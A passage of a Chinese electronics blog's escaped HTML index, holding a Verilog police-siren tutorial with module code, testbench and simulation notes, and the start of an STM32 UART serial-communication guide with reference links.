punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"High-speed-pursuit\"\u003e\u003ca href=\"#High-speed-pursuit\" class=\"headerlink\" title=\"High-speed pursuit\"\u003e\u003c/a\u003eHigh-speed pursuit\u003c/h3\u003e\u003cp\u003e要进行高速追击,警报声音有快有慢。\u003c/p\u003e\u003cp\u003e所以 \u003ccode\u003etone[22:16]\u003c/code\u003e 给我们一个快速的斜坡,而 \u003ccode\u003etone[25:19]\u003c/code\u003e 给我们一个缓慢的斜坡。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e最终代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// hign.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e hign \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e2'b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7'b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_hign\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//初始化输入信号\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1'b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ehign hign_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//input clk\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//output speaker\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/1.png\" alt=\"1\"\u003e\u003c/p\u003e\u003cp\u003e可以看出间隔确实是变化的,仿真波形图里第一个频率经过计算为912Hz,符合要求。\u003c/p\u003e\u003chr\u003e\u003cp\u003e待续……\u003c/p\u003e","url":"https://blog.ksfu.top/posts/f804/"},{"title":"STM32\u0026UART串口通信(使用CubeMX)","time":"2022-05-08T14:54:19Z","content":"\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"#STM32-UART通信\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和\u003chr /\u003e\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"#STM32-UART通信\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和通项目糊出来的?\u003c/del\u003e\u003c/p\u003e\u003cp\u003e写完咯 ~ \u003cdel\u003e还没写完\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"#参考链接\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e研究原理啥的还是看看参考的博客的好~\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-uart-communication/\"\u003eBonjour STM32] No.7-demo 4.串口通信 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.emoe.xyz/ee_tutorial_04/\"\u003e电子入门教程[04]-喂?zaima? - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/menlsh/archive/2013/01/28/2880580.html\"\u003e串口通信与编程01:串口基础知识 - 依旧淡然 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10793111.html\"\u003e基于STM32之UART串口通信协议(一)详解 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10798193.html\"\u003e基于STM32之UART串口通信协议(二)发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10809000.html\"\u003e基于STM32之UART串口通信协议(三)接收 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/11139901.html\"\u003e基于STM32之UART串口通信协议(四)Printf发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/milton/p/14711577.html\"\u003eSTM32 printf 方法重定向到串口UART - Milton - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/ForeverIT/article/details/82263142\"\u003eSTM32 Uart 实现printf函数_ForeverIT的博客-CSDN博客_stm32 实现printf\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"串口通信\"\u003e\u003ca href=\"#串口通信\" class=\"headerlink\" title=\"串口通信\"\u003e\u003c/a\u003e串口通信\u003c/h2\u003e\u003cp\u003e串口是串行接口(serial port)的简称,也称为串行通信接口或COM接口。\u003c/p\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKcqI.jpg\" style=\"zoom: 67%;\" /\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKyMd.jpg\" style=\"zoom:67%;\" /\u003e\u003cp\u003e串口通信是指采用串行通信协议(serial communication)在一条信号线上将数据一个比特一个比特地逐位进行传输的通信模式。\u003c/p\u003e\u003cp\u003e串口按电气标准及协议来划分,包括RS-232-C、RS-422、RS485等。\u003c/p\u003e\u003cp\u003e在串行通信中,数据在1位宽的 \u003cstrong\u003e单条线路\u003c/strong\u003e 上进行传输,一个字节的数据要分为8次,由低位到高位按顺序一位一位的进行传送。\u003c/p\u003e\u003cp\u003e串行通信的数据是逐位传输的,发送方发送的每一位都具有固定的时间间隔,这就要求接收方也要按照发送方同样的时间间隔来接收每一位。不仅如此,接收方还必须能够确定一个信息组的开始和结束。\u003c/p\u003e\u003cp\u003e常用的两种基本串行通信方式包括同步通信和异步通信。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e然后剩下的可以去参考链接继续了解了~\u003c/strong\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch2 id=\"UART简介\"\u003e\u003ca 